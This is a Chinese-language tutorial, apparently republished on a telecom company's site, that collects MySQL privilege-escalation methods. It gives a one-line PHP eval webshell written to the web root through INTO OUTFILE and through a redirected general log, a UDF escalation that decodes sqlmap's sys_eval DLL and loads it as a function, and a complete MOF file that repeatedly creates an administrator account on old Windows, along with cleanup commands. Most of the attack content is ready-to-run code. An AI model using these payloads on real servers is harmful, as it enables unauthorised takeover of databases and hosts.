• 企业400电话
  • 微网小程序
  • AI电话机器人
  • 电商代运营
  • 全 部 栏 目

    企业400电话 网络优化推广 AI电话机器人 呼叫中心 网站建设 商标✡知产 微网小程序 电商运营 彩铃•短信 增值拓展业务
    Mysql提权的多种姿势汇总

    一、写入Webshell

    into outfile 写shell

    前提条件:

    1、知道网站物理路径

    2、高权限数据库用户

    3、load_file() 开启 即 secure_file_priv 无限制

    4、网站路径有写入权限

    首先基础语法查询是否 secure_file_priv 没有限制

    show global variables like '%secure_file_priv%';

    value 说明
    NULL 不允许导入或导出
    /var 只允许在/var目录导入导出
    不限制目录

    在 MySQL 5.5 之前 secure_file_priv 默认是空,这个情况下可以向任意绝对路径写文件

    在 MySQL 5.5之后 secure_file_priv 默认是 NULL,这个情况下不可以写文件

    如果满足上述所有条件的话,那么可以尝试使用下面的 SQL 语句来直接写 shell:

    select '?php @eval($_POST[cmd]); ?>' into outfile 'C:\\soft\\WWW\\empirecms\\shell.php';

    查看目标路径下,已写入shell.php文件

    上菜刀连接

    日志文件写shell

    前提条件:

    1、Web 文件夹宽松权限可以写入

    2、Windows 系统下

    3、高权限运行 MySQL 或者 Apache

    MySQL 5.0 版本以上会创建日志文件,可以通过修改日志的全局变量来 getshell

    查看日志目录

    SHOW VARIABLES LIKE 'general%';

    general_log 默认关闭,开启它可以记录用户输入的每条命令,会把其保存在对应的日志文件中。
    可以尝试自定义日志文件,并向日志文件里面写入内容的话,那么就可以成功 getshell:

    更改日志文件位置

    set global general_log = "ON";
    set global general_log_file='C:\\soft\\WWW\\empirecms\\log.php';
    

    查看当前日志配置

    目标目录下查看,写入了log.php文件

    写入shell

    select '?php @eval($_POST[cmd]); ?>'

    上菜刀,连接


    二、UDF提权

    自定义函数,是数据库功能的一种扩展。用户通过自定义函数可以实现在 MySQL 中无法方便实现的功能,其添加的新函数都可以在SQL语句中调用,就像调用本机函数 version() 等方便。

    动态链接库

    如果是 MySQL >= 5.1 的版本,必须把 UDF 的动态链接库文件放置于 MySQL 安装目录下的 lib\plugin 文件夹下文件夹下才能创建自定义函数。

    那么动态链接库文件去哪里找呢?实际上我们常用的工具 sqlmap 和 Metasploit 里面都自带了对应系统的动态链接库文件。

    sqlmap的UDF动态链接库文件位置

    sqlmap根目录/data/udf/mysql

    不过 sqlmap 中 自带这些动态链接库为了防止被误杀都经过编码处理过,不能被直接使用。不过可以利用 sqlmap 自带的解码工具cloak.py 来解码使用,cloak.py 的位置为:sqlmap根目录/extra/cloak/cloak.py ,

    解码方法如下:

    解码32位的windows动态链接库:

    python3 cloak.py -d -i lib_mysqludf_sys.dll_ -o lib_mysqludf_sys_32.dll

    其他linux和windows动态链接库解码类似

    或者直接使用metasploit自带的动态链接库,无需解码

    Metasploit的UDF动态链接库文件位置

    接下来的任务是把 UDF 的动态链接库文件放到 MySQL 的插件目录下,这个目录改如何去寻找呢?可以使用如下的 SQL 语句来查询:

    show variables like '%plugin%'
    
    
    

    写入动态链接库

    当 secure_file_priv 无限制的时候,我们可以手工写文件到 plugin 目录下的

    select load_file('C:\\soft\\UDFmysql\\lib_mysqludf_sys_32.dll')  into dumpfile 'C:\\soft\\MySQL\\lib\\plugin\\udf.dll';
    

    c

    创建自定义函数并调用命令

    创建自定义函数

    CREATE FUNCTION sys_eval RETURNS STRING SONAME 'udf.dll';

    查看是否新增了sys_eval

    接着就可以通过创建的这个函数来执行系统命令了:

    删除自定义函数

    drop function sys_eval;
    
    

    三、MOF提权

    mof提权原理

    关于 mof 提权的原理其实很简单,就是利用了 c:/windows/system32/wbem/mof/ 目录下的 nullevt.mof 文件,每分钟都会在一个特定的时间去执行一次的特性,来写入我们的cmd命令使其被带入执行。

    严苛的前提条件:

    1.windows 03及以下版本

    2.mysql启动身份具有权限去读写c:/windows/system32/wbem/mof目录

    3.secure-file-priv参数不为null

    提权过程:

    MOF文件每五秒就会执行,而且是系统权限,我们通过mysql使用load_file 将文件写入/wbme/mof,然后系统每隔五秒就会执行一次我们上传的MOF。MOF当中有一段是vbs脚本,我们可以通过控制这段vbs脚本的内容让系统执行命令,进行提权。

    利用代码如下(test.mof):

    #pragma namespace("\\\\.\\root\\subscription")
    instance of __EventFilter as $EventFilter
    {
    EventNamespace = "Root\\Cimv2";
    Name = "filtP2";
    Query = "Select * From __InstanceModificationEvent "
    "Where TargetInstance Isa \"Win32_LocalTime\" "
    "And TargetInstance.Second = 5";
    QueryLanguage = "WQL";
    };
    instance of ActiveScriptEventConsumer as $Consumer
    {
    Name = "consPCSV2";
    ScriptingEngine = "JScript";
    ScriptText =
    "var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user hpdoger 123456 /add\")\nWSH.run(\"net.exe localgroup administrators hpdoger /add\")";
    };
    instance of __FilterToConsumerBinding
    {
    Consumer = $Consumer;
    Filter = $EventFilter;
    };
    

    MOF文件利用:

    将上面的脚本上传到有读写权限的目录下:

    这里我上传到了C:\soft\,我们使用sql语句将文件导入到c:/windows/system32/wbem/mof/下

    select load_file("C:/soft/test.mof") into dumpfile "c:/windows/system32/wbem/mof/nullevt.mof"

    验证提权:

    当我们成功把mof导出时,mof就会直接被执行,且5秒创建一次用户。

    关于MOF提权弊端

    我们提权成功后,就算被删号,mof也会在五秒内将原账号重建,那么这给我们退出测试造成了很大的困扰,所以谨慎使用。那么我们如何删掉我们的入侵账号呢?

    cmd 下运行下面语句:

    #停止winmgmt服务
    net stop winmgmt
    
    #删除 Repository 文件夹
    rmdir /s /q C:\Windows\system32\wbem\Repository\
    
    
    # 手动删除 mof 文件
    del c:/windows/system32/wbem/mof/nullevt.mof /F /S
    
    # 删除创建的用户
    net user hpdoger /delete
    
    #重启服务
    net start winmgmt
    

    总结

    到此这篇关于Mysql提权姿势的文章就介绍到这了,更多相关Mysql提权姿势内容请搜索脚本之家以前的文章或继续浏览下面的相关文章希望大家以后多多支持脚本之家!

    您可能感兴趣的文章:
    • Linux利用UDF库实现Mysql提权
    • Mysql提权方法利用
    • 提权,以MySQL之名
    上一篇:一篇文章带你深入了解Mysql触发器
    下一篇:浅谈mysql join底层原理
  • 相关文章
  • 

    © 2016-2020 巨人网络通讯 版权所有

    《增值电信业务经营许可证》 苏ICP备15040257号-8

    Mysql提权的多种姿势汇总 Mysql,提权,的,多种,姿势,